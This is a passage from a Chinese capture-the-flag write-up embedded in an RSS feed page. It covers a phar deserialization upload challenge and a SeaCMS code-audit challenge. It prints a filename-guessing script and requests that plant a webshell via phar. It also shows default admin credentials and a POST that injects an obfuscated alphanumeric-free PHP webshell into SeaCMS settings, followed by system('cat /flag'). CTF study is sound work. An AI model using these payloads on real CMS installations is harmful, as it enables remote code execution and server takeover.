  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>上传的文件名是时间戳的 md5，没有回显，写个脚本找一下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1">#-*- coding:utf-8 -*-</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span> <span class="k">as</span> <span class="nn">req</span> 
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">def</span> <span class="nf">md5</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">	<span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">	<span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;http://eci-2zeb3stdvqw9aed67js3.cloudeci1.ichunqiu.com/static/</span><span class="si">{</span><span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">())))</span><span class="si">}</span><span class="s2">.jpg&#34;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">	<span class="n">r</span> <span class="o">=</span> <span class="n">req</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">	<span class="k">if</span> <span class="n">r</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">		<span class="k">break</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">	<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">r</span><span class="o">.</span><span class="n">status_code</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">	<span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>index.php 触发 phar 反序列化即可把马写入 config.php</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">/?</span><span class="nx">img</span><span class="o">=</span><span class="nx">phar</span><span class="o">:///</span><span class="k">var</span><span class="o">/</span><span class="nx">www</span><span class="o">/</span><span class="nx">html</span><span class="o">/</span><span class="k">static</span><span class="o">/</span><span class="mi">67</span><span class="nx">d9c71da5d4926c0f3433659c0690fd</span><span class="o">.</span><span class="nx">jpg</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<hr>
<h3 id="大家一起来审代码">大家一起来审代码<a class="anchor" href="#大家一起来审代码">#</a></h3>
<p>参考 <a
  href="https://www.freebuf.com/vuls/241106.html" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.freebuf.com/vuls/241106.html<span style="user-select:none"> ↗</span></a
>
</p>
<p>进入后台 admin/123456。找到 adm1n/admin_weixin.php，利用无字母数字 RCE 即可</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nf">POST</span> <span class="nn">/adm1n/admin_weixin.php?action=set</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">Accept</span><span class="o">:</span> <span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">Accept-Language</span><span class="o">:</span> <span class="l">zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">Content-Length</span><span class="o">:</span> <span class="l">1265</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">Connection</span><span class="o">:</span> <span class="l">close</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">Referer</span><span class="o">:</span> <span class="l">http://eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com/adm1n/admin_weixin.php</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">Hm_lvt_2d0601bd28de7d49818249cf35d95943=1608027846,1608659573,1608962046; UM_distinctid=1745809b7eda-0b8fe367096bfd8-4c312d7d-1fa400-1745809b7ee40; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1608966210; __jsluid_h=82317a29492d0410972d5c3b5bb35543; PHPSESSID=9d513712218467c2e573a918f8b8d725; __tins__21018907=%7B%22sid%22%3A%201608966619441%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201608968423945%7D; __51cke__=; __51laig__=2</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">Upgrade-Insecure-Requests</span><span class="o">:</span> <span class="l">1</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="err">isopen=n&amp;url=https%3A%2F%2Fwww.seacms.net&amp;title=%E6%B5%B7%E6%B4%8B%E5%BD%B1%E8%A7%86&amp;ckmov_url=https%3A%2F%2Fwww.seacms.net%2Fvip.php%3Furl%3D+&amp;dpic=https%3A%2F%2Fwww.seacms.net%2Fapi%2Fwx.jpg&amp;follow=%E6%84%9F%E8%B0%A2%E6%82%A8%E7%9A%84%E5%85%B3%E6%B3%A8%E3%80%82&amp;noc=%E6%9A%82%E6%97%A0%E4%BD%A0%E8%A6%81%E7%9A%84%E5%86%85%E5%AE%B9%E3%80%82&amp;help=%E8%BF%99%E6%98%AF%E5%B8%AE%E5%8A%A9%E4%BF%A1%E6%81%AF%E3%80%82&amp;topage=d&amp;dwz=n&amp;dwztoken=dwztoken&amp;sql_num=15&amp;msg1a=%E5%85%B3%E9%94%AE%E8%AF%8D1&amp;msg1b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B91&amp;msg2a=%E5%85%B3%E9%94%AE%E8%AF%8D2&amp;msg2b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B92%3Ca+href%3D%27http%3A%2F%2Fwww.seacms.net%27%3E%E9%93%BE%E6%8E%A5%E6%B5%8B%E8%AF%95%3C%2Fa%3E%EF%BC%8C%E6%B5%8B%E8%AF%95%E7%BB%93%E6%9D%9F%E3%80%82&amp;msg3a=%E5%85%B3%E9%94%AE%E8%AF%8D3&amp;msg3b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B93&amp;msg4a=%E5%85%B3%E9%94%AE%E8%AF%8D4&amp;msg4b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B94&amp;msg5a=%E5%85%B3%E9%94%AE%E8%AF%8D5&amp;msg5b=1231&#34;);$_=(&#39;%01&#39;^&#39;`&#39;).(&#39;%13&#39;^&#39;`&#39;).(&#39;%13&#39;^&#39;`&#39;).(&#39;%05&#39;^&#39;`&#39;).(&#39;%12&#39;^&#39;`&#39;).(&#39;%14&#39;^&#39;`&#39;);$__=&#39;_&#39;.(&#39;%0D&#39;^&#39;]&#39;).(&#39;%2F&#39;^&#39;`&#39;).(&#39;%0E&#39;^&#39;]&#39;).(&#39;%09&#39;^&#39;]&#39;);$___=$$__;$_($___[_]);//</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nf">POST</span> <span class="nn">/data/admin/weixin.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">Accept</span><span class="o">:</span> <span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">Accept-Language</span><span class="o">:</span> <span class="l">zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">Connection</span><span class="o">:</span> <span class="l">close</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">Hm_lvt_2d0601bd28de7d49818249cf35d95943=1608027846,1608659573,1608962046; UM_distinctid=1745809b7eda-0b8fe367096bfd8-4c312d7d-1fa400-1745809b7ee40; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1608966210; __jsluid_h=82317a29492d0410972d5c3b5bb35543; PHPSESSID=9d513712218467c2e573a918f8b8d725; __tins__21018907=%7B%22sid%22%3A%201608966619441%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201608968423945%7D; __51cke__=; __51laig__=2</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">Upgrade-Insecure-Requests</span><span class="o">:</span> <span class="l">1</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">Cache-Control</span><span class="o">:</span> <span class="l">max-age=0</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">Content-Length</span><span class="o">:</span> <span class="l">22</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="err">_=system(&#34;cat</span> <span class="l">/flag&#34;);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
]]></content:encoded><h:img src="https://h4cker.zip/ea610f/zonghengbei.webp"/><enclosure url="https://h4cker.zip/ea610f/zonghengbei.webp"/><category>CMS</category><category>WEB</category><category>命令注入</category><category>渗透</category></item></channel></rss>